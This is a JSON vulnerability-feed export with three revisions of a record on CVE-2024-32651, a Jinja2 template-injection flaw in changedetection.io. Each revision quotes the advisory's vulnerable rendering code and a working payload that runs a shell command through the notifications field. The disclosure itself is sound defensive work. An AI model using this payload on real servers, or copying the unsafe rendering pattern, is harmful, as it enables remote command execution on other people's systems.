{"items":[{"id":"NVI-00008867","kind":"vulnerability","title":"changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-4r7v-whpg-8rx3","CVE-2024-32651"],"plain_summary":"GitHub lists this reviewed advisory for changedetection.io. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-025125f1c6344e93618f81a864bbd8f6"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-27T16:21:19.000Z","value":"10 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-0f997577ff14daee3d28cc06c2fec518"},{"kind":"CVSS","as_of":"2026-06-17T07:30:09.590Z","value":"10 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-1a475644eec8b9f28f83a8cd9d212d2c"},{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"83.601%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.99687. Missing scores are unknown.","source_id":"sr-025125f1c6344e93618f81a864bbd8f6"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0f997577ff14daee3d28cc06c2fec518","url":"https://github.com/advisories/GHSA-4r7v-whpg-8rx3","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-4r7v-whpg-8rx3","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:51.534Z"},{"id":"sr-1a475644eec8b9f28f83a8cd9d212d2c","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32651","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2024-32651","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-02T09:56:09.522Z"},{"id":"sr-025125f1c6344e93618f81a864bbd8f6","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-32651","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:27:48.610Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0f997577ff14daee3d28cc06c2fec518"],"technology":"changedetection.io","known_exclusions":[],"conditions_summary":"### Summary\nA Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.\n\n### Details\n\nchangedetection.io version: 0.45.20\n```\ndocker images\nREPOSITORY                            TAG       IMAGE ID       CREATED        SIZE\ndgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB\n```\n\nThe vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.\n```python\nfrom jinja2 import Environment, BaseLoader\n...\n    # Get the notification body from datastore\n    jinja2_env = Environment(loader=BaseLoader)\n    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)\n    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)\n```\n\n\n### PoC\n1. Create/Edit a URL watch item\n2. Under *Notifications* tab insert this payload: \n```python\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\n```\n!Screenshot from 2024-04-19 15-46-04","public_affected_ranges":["<= 0.45.20"]}],"null_published_at":"2026-11-02T20:21:07.741Z","source_updated_at":"2026-10-27T16:21:19.000Z","source_disclosed_at":"2024-10-15T18:05:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:56:51.534Z"},{"id":"NVI-00008867","kind":"vulnerability","title":"changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-4r7v-whpg-8rx3","CVE-2024-32651"],"plain_summary":"GitHub lists this reviewed advisory for changedetection.io. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1160729de94df56daf45b760a5722bb2"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-27T16:21:19.000Z","value":"10 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-0f997577ff14daee3d28cc06c2fec518"},{"kind":"CVSS","as_of":"2026-06-17T07:30:09.590Z","value":"10 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-1a475644eec8b9f28f83a8cd9d212d2c"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"83.601%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.99687. Missing scores are unknown.","source_id":"sr-1160729de94df56daf45b760a5722bb2"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0f997577ff14daee3d28cc06c2fec518","url":"https://github.com/advisories/GHSA-4r7v-whpg-8rx3","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-4r7v-whpg-8rx3","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:51.534Z"},{"id":"sr-1a475644eec8b9f28f83a8cd9d212d2c","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32651","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2024-32651","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-02T09:56:09.522Z"},{"id":"sr-1160729de94df56daf45b760a5722bb2","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-32651","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0f997577ff14daee3d28cc06c2fec518"],"technology":"changedetection.io","known_exclusions":[],"conditions_summary":"### Summary\nA Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.\n\n### Details\n\nchangedetection.io version: 0.45.20\n```\ndocker images\nREPOSITORY                            TAG       IMAGE ID       CREATED        SIZE\ndgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB\n```\n\nThe vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.\n```python\nfrom jinja2 import Environment, BaseLoader\n...\n    # Get the notification body from datastore\n    jinja2_env = Environment(loader=BaseLoader)\n    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)\n    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)\n```\n\n\n### PoC\n1. Create/Edit a URL watch item\n2. Under *Notifications* tab insert this payload: \n```python\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\n```\n!Screenshot from 2024-04-19 15-46-04","public_affected_ranges":["<= 0.45.20"]}],"null_published_at":"2026-11-02T10:00:44.509Z","source_updated_at":"2026-10-27T16:21:19.000Z","source_disclosed_at":"2024-10-15T18:05:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:56:51.534Z"},{"id":"NVI-00008867","kind":"vulnerability","title":"changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-4r7v-whpg-8rx3","CVE-2024-32651"],"plain_summary":"GitHub lists this reviewed advisory for changedetection.io. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1160729de94df56daf45b760a5722bb2"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-27T16:21:19.000Z","value":"10 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-0f997577ff14daee3d28cc06c2fec518"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"83.601%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.99687. Missing scores are unknown.","source_id":"sr-1160729de94df56daf45b760a5722bb2"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0f997577ff14daee3d28cc06c2fec518","url":"https://github.com/advisories/GHSA-4r7v-whpg-8rx3","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-4r7v-whpg-8rx3","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:51.534Z"},{"id":"sr-1160729de94df56daf45b760a5722bb2","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-32651","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:03.704Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0f997577ff14daee3d28cc06c2fec518"],"technology":"changedetection.io","known_exclusions":[],"conditions_summary":"### Summary\nA Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.\n\n### Details\n\nchangedetection.io version: 0.45.20\n```\ndocker images\nREPOSITORY                            TAG       IMAGE ID       CREATED        SIZE\ndgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB\n```\n\nThe vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.\n```python\nfrom jinja2 import Environment, BaseLoader\n...\n    # Get the notification body from datastore\n    jinja2_env = Environment(loader=BaseLoader)\n    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)\n    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)\n```\n\n\n### PoC\n1. Create/Edit a URL watch item\n2. Under *Notifications* tab insert this payload: \n```python\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\n```\n!Screenshot from 2024-04-19 15-46-04","public_affected_ranges":["<= 0.45.20"]}],"null_published_at":"2026-10-31T22:13:48.408Z","source_updated_at":"2026-10-27T16:21:19.000Z","source_disclosed_at":"2024-10-15T18:05:15.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:56:51.534Z"}],"next_cursor":null,"snapshot_revision":"42594"}